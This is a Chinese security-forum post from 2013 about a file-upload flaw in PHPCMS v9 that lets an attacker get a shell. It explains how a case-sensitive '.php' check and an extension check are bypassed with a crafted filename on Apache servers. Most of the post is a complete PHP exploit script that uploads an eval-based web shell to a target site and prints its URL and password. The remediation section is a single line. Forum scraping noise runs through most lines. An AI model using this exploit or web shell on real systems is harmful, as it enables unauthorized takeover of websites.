找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2754|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
' M1 G! j( E' O) s1 p, M, y" ^& Q' a& V+ C
简要描述:% F! T* Y9 d% f( n2 i

0 g9 P$ U( K, x; _. o/ o: tphpcms v9 getshell (apache)( p! R& E' N0 I1 \: X" F
详细说明:3 _+ I' e5 c) v# v  @( U9 n, q

; r( z$ L! b+ T- I3 Y漏洞文件:phpcms\modules\attachment\attachments.php8 _: t: \& `0 @' ]# o+ f

  o; q' o& P3 X0 \public function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
, }# M* g! H+ x  V后缀检测:phpcms\modules\attachment\functions\global.func.php) H. m4 ]7 e. z  K6 k& ^, D

/ c8 [, ~" j0 r1 {% \- ~ 2 n# c/ K$ Z  F# Y4 b9 P( ~9 X
2 m/ f- @7 D8 ^, Q* J& n
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  9 I5 ~! g& l$ U

% c* R% |6 I  E9 L关键函数:
  V- @9 {9 R* E1 D' ~- M3 \9 Z  Q9 K

+ J. W/ L* Y( J/ a
8 ~$ T' ~4 t% w- m; yfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  - c; a1 }/ R0 ]$ }# H
/ j# K- n6 G) m% `2 C4 \. x) \
  Fileext函数是对文件后缀名的提取。
! s- _9 Z: S# d根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
# |1 F% L7 g1 c& i. O( X5 z- X经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。+ i5 n; T" O; c) N
我们回到public function crop_upload() 函数中" x& w1 T6 V  X0 k& L
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
; c+ Q/ J) P0 ^7 p- c在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
2 j6 ]2 P' |7 b( e5 g2 [2 m这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。) Q0 K! L  \$ d3 Q
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
0 g: S* \- Y+ C9 n" i% ~0 T, o最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。8 J) [0 ]0 D" i* c
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
5 H/ q$ o4 {! U  Y; [9 l+ \漏洞证明:
0 u# v6 N% J* m& K1 O' v6 A3 V% a: I
) E! ^3 g) b# C. e. ]exp:
' N3 k0 R! |+ l# O3 H3 a6 v
0 f* H/ m! \# l<?php! u9 X3 Z0 W" E/ }6 x: N* b$ D
error_reporting(E_ERROR);0 n5 y; i) ~8 E
set_time_limit(0);
  d8 k* L1 h, x! f2 V' J$pass="ln";5 z4 t3 w$ @9 A4 x* {5 O
print_r('1 l' a+ O; V* `% m9 W% E
+---------------------------------------------------------------------------+
* e/ x* @* R) D& f' w" FPHPCms V9 GETSHELL 0DAY
; [' q7 |' X' G8 M8 ucode by L.N.. O- e. L# T! c  U3 _
& Y6 n- s- t9 P5 q( _7 A
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
# ?: A4 s& [! M+ ]; {8 I& {( P; J+---------------------------------------------------------------------------+
+ ~4 t5 I' b" J* ^" z: |, ?');
* n+ M+ F" X) z" S& A0 [if ($argc < 2) {- f' z0 E# I  M
print_r('
: b/ v' J$ r- X# k4 E+---------------------------------------------------------------------------+
& }) g! Q" C- x  x8 XUsage: php '.$argv[0].' url path
, w% S% ~: ]; {6 ?. c2 g+ z
, O- ?, m" x. z% t* Y& a% }Example:
% H3 c9 M" y( i% F1 a1.php '.$argv[0].' lanu.sinaapp.com1 O( A+ Q0 Y6 U8 P6 S* Q
2.php '.$argv[0].' lanu.sinaapp.com /phpcms* x# O$ _+ c1 X0 n. s
+---------------------------------------------------------------------------+
& \0 |2 E1 b, s4 d');
5 f5 }5 r1 J7 n# [6 D! hexit;7 B, |) [  @2 ?/ t$ C- \
}
7 @  L1 m: c* u+ t- N: P/ ^8 ?
8 N# W# i# i( X$url = $argv[1];
& i& V* ?+ u( U. C4 N/ i  m: V* L$path = $argv[2];+ y: Y( m  u. ], i- k& R
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
% {, w" q* {8 K% P$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
8 i/ A. B0 v- M3 w' R5 ]8 Lif($ret=Create_dir($url,$path))
' u4 u! T8 T& `- Q" b2 W/ H+ P& w{
/ i& J7 L3 L1 ~! \  n8 j//echo $ret;
% {% x' Y+ n4 D( p$pattern = "|Server:[^,]+?|U";- o+ g' m* Z- ?! J/ _2 m
preg_match_all($pattern, $ret, $matches);
2 }# l% ]! b7 J8 y8 E0 dif($matches[0][0])0 c7 h( H% x1 K* n0 d) q3 k4 ?5 ]' h
{
% k5 D( i5 R7 ^9 ]0 }1 |if(strpos($matches[0][0],'Apache') == false)+ N$ [3 {% H  x4 @7 b+ s
{. E' l4 _9 O2 i7 W  E* r
echo "\n亲!此网站不是apache的网站。\n";exit;+ D7 _- {6 q0 f0 o0 ^! S
}4 t* f0 B9 u- q% S* K; W
}4 ^, E) T9 y& e6 Q, K
$ret = GetShell($url,$phpshell,$path,$file);
+ F& v3 H$ b3 p5 F( l' S* X$pattern = "|http:\/\/[^,]+?\.,?|U";& j. t" Q1 b2 n" H% K% ~: W
preg_match_all($pattern, $ret, $matches);
0 l- h- l( J. d9 S* ~8 }) Yif($matches[0][0])
6 A8 o7 [; U% |# g3 n. S: b0 g( X{2 o/ X" J# F. p% \: ]  T
echo "\n".'密码为: '.$pass."\n";
% h/ Y$ O6 V9 y0 p$ \4 D: Techo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;, g# t4 ^* \) g8 H- B3 l! A
}
1 D- }% }, u, y/ Y6 s& u- e# z9 felse
: H# `- n4 @* x7 ^5 [{; W. n( C- P" Z  w: d
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";; i+ F: ^5 [+ @; q% a) J$ K- G
preg_match_all($pattern, $ret, $matches);5 v1 t# I' h# R3 ~7 }1 \8 B
if($matches[0][0])
. L; f/ @# P9 l  E8 {1 w{$ b/ g8 B- ~/ N8 L
echo "\n".'密码为: '.$pass."\n";: y& w( ?  {8 t1 E- `# K+ K
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
% a& I/ b; Y. H3 K" y, T# T5 b}3 N( Q& R/ t7 v
else
" X; R; B# Y, B+ T! C9 m{
1 w( U! s: u4 _$ Oecho "\r\n没得到!\n";exit;
0 j: }: i: y7 n4 F* q, B}% ]4 k* Z2 H& d$ O( @3 @
}7 `) ]  x3 ^; _3 X( g$ u8 _! }% Q
}$ u" P* X  A% x6 I

. ~* V* T  X& E" Yfunction GetShell($url,$shell,$path,$js)0 W+ @. y, u" Q# m$ q) O
{- `2 q6 D( H) C  U" D
$content =$shell;: j. R  ^3 j+ X
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";; S6 x+ [: S) X2 F9 Y) x
$data .= "Host: ".$url."\r\n";" G6 [& \) O1 ~+ @1 p* r1 z
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";% G* ~+ j: X* i
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
+ p' X) @* u) i2 K$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";( o  l0 A8 V2 T; v2 {* @
$data .= "Connection: close\r\n";7 p5 Q" g; x$ N. m5 q3 _& ]5 Z
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
& ~9 }0 }: G( T$ Z$data .= $content."\r\n";% u$ N! K2 G! V" b+ @. u  Z
$ock=fsockopen($url,80);6 T6 U' i3 ~; }! r
if (!$ock)8 b! t1 l8 i" }' x; T, r  d
{
; \' r) e& z* {' F, b: Iecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;( W/ u1 Z3 `1 J" j7 B5 i
}( j6 q# C9 T( R3 Z
else
0 X( v) O. `% P7 b+ C/ Y) `4 I{# P# U9 u& a) @7 a
fwrite($ock,$data);
, ?& _8 k7 ^! Q7 Z1 A) t& y$resp = '';' r/ v3 c5 _. c" w7 @) M& F
while (!feof($ock))  g; S4 s' Y( V
{
8 G, a, h& ]2 m5 X" m$resp.=fread($ock, 1024);( w) p6 G: W4 y/ T  S. Y
}5 E4 c% w4 U) |! w% u. x9 l0 `* X
return $resp;& T+ l5 @$ p) R7 @2 r
}3 [* T9 w5 T% Y( g6 J
}# e6 x- W. f6 \+ |- c

9 r1 ^" ?! [. |# I1 `function Create_dir($url,$path='')8 Y' @5 |0 i) j6 X+ _& O  m7 t
{, o2 i% v# m  G5 E6 _
$content ='I love you';
( e2 n7 f# r* L' }; w$ F1 A$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";+ w+ @/ W+ K% f+ {
$data .= "Host: ".$url."\r\n";, c5 m# P+ ?: i4 U( |5 T, ^0 Y
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";1 b7 B1 L2 [* _3 H3 i- H1 O# H
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
" y! F- f2 i' e; w* D$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
4 ]1 b& j) [; ^, M; G$ F! r( a0 r9 k$data .= "Connection: close\r\n";& w& n1 e: ]7 b# b% X
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
1 Q" o( H- ]: v3 Z- H# o( ?9 U1 m$data .= $content."\r\n";" r5 A  Y+ @* G9 p& b
$ock=fsockopen($url,80);5 x- m/ |" @) m; }5 e
if (!$ock)
& {, y2 {; ]4 H  T; Q- U5 e{
$ u* a; ?9 l; n6 d% y. q) G$ C4 fecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
% f$ j- A- }( O}0 k, P& F4 O8 P0 [  u0 G
fwrite($ock,$data);6 y  m! y) Y+ k& O( n3 ?
$resp = '';
  X4 S' [: m* m/ c  z9 x4 Q) ~; Nwhile (!feof($ock))
0 E/ e$ C- F* M' x{0 H. R' K" v9 M% ]- ^
$resp.=fread($ock, 1024);
9 |) i/ x- s3 E/ u7 f}
" D6 I0 o, _6 f+ l- j% W! M# q1 Ureturn $resp;
+ l: \+ `) f6 k$ y}
* H% e# N$ p  c6 M2 X  c4 r?> 1 ~/ y6 q+ \# K; e
$ ~1 W- I( x5 I# m6 ?' m* g
修复方案:
& _9 O" o3 T, X' p/ G5 n5 {
9 z5 P; r/ B+ D% i* V5 o4 Z5 I过滤过滤再过滤5 v7 B" j2 Q& h: K% g
; f* {4 i/ \0 J, n9 h7 j8 F" u* ]! t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表